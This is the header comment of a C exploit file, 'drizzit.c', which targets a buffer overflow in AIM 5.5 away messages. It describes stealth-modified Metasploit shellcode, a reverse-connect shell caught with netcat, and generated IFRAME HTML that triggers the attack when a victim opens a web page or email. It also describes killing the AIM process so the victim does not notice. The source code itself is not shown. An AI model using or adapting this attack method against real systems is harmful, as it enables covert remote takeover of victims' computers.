/*
 * AIM Away Message Buffer Overflow Exploit
 *   Exploit by John Bissell A.K.A. HighT1mes
 *
 * Exploit: 
 * ========
 *   drizzit.c
 *
 * Vulnerable Software:
 * ====================
 *    - AIM 5.5.3588
 *    - AIM 5.5.3590 Beta
 *    - AIM 5.5.3591
 *    - AIM 5.5.3595
 *    and a couple others versions...
 *
 * If you want to try other return addressees for other versions of
 * AIM then edit the return address.. But the current one embedded 
 * will work for sure with all the AIM versions listed above.
 *
 * I used some of the metasploit shellcode for this exploit with some
 * modifications to get this into stealth mode so it is harder to 
 * detect the attack. Since I'm using metasploit shellcode that means this
 * exploit can be used on any NT type OS, like win2k, winnt, winxp across
 * any service pack.. I don't know about SP2 though I haven't tested
 * it yet.
 *
 * On a side note I pourposly did not include the download+exec shellcode
 * even though I have it because I'm sick and tired of these little
 * spam/adware bitchs messing peoples computers up for profit.. You can
 * still download/upload through the shell to the victim. It just 
 * isn't automated like download+exec would be.
 *
 * In my opinion the reverse connect (-r option) is the most dangerous
 * because you can encode your ip address and pick a port, and then 
 * when the victim visits the evil web page or email whatever.. then the
 * attack will automatically open his AIM even its not already open and
 * connect to you and then terminate the AIM process to be stealth so
 * the victim doesn't know what him them.. As I remind people in the
 * exploit usage you need to remember to use netcat to listen on a 
 * port you picked for the exploit to connect to...
 *
 * One reason I decided to include the generation of html code for 
 * this exploit is I noticed almost no puts small limits on the 
 * <IFRAME SRC=""> attribute. So when the victim connects to that
 * page or reads that email depending on the browser or client, 
 * The exploit will execute.. IE 6.0 and Mozilla are 
 * affected by this problem as well as Outlook Express when the
 * security settings are set to the Internet Zone.
 *
 * Excuse the sloppy commandline interface I just wanted to get
 * this out to the public.

 *   IsolationX, YpCat, DaPhire, route, #romhack,
 *   Taylor Hayes, Aria Giovanni, Anthony Rocha,
 *   InVerse, Deltaflame, Jenna Jameson, iDENFENSE, 
 *   secunia, so1o, John Kerry, and many others...
 *
 * Compiler: 
 * =========
 *    Visual C++ 6.0
 *
 * To compile you first must add ws2_32.lib to the Object/librarys modules:
 * text box under the Project -> Settings menu; then click on the link tab...
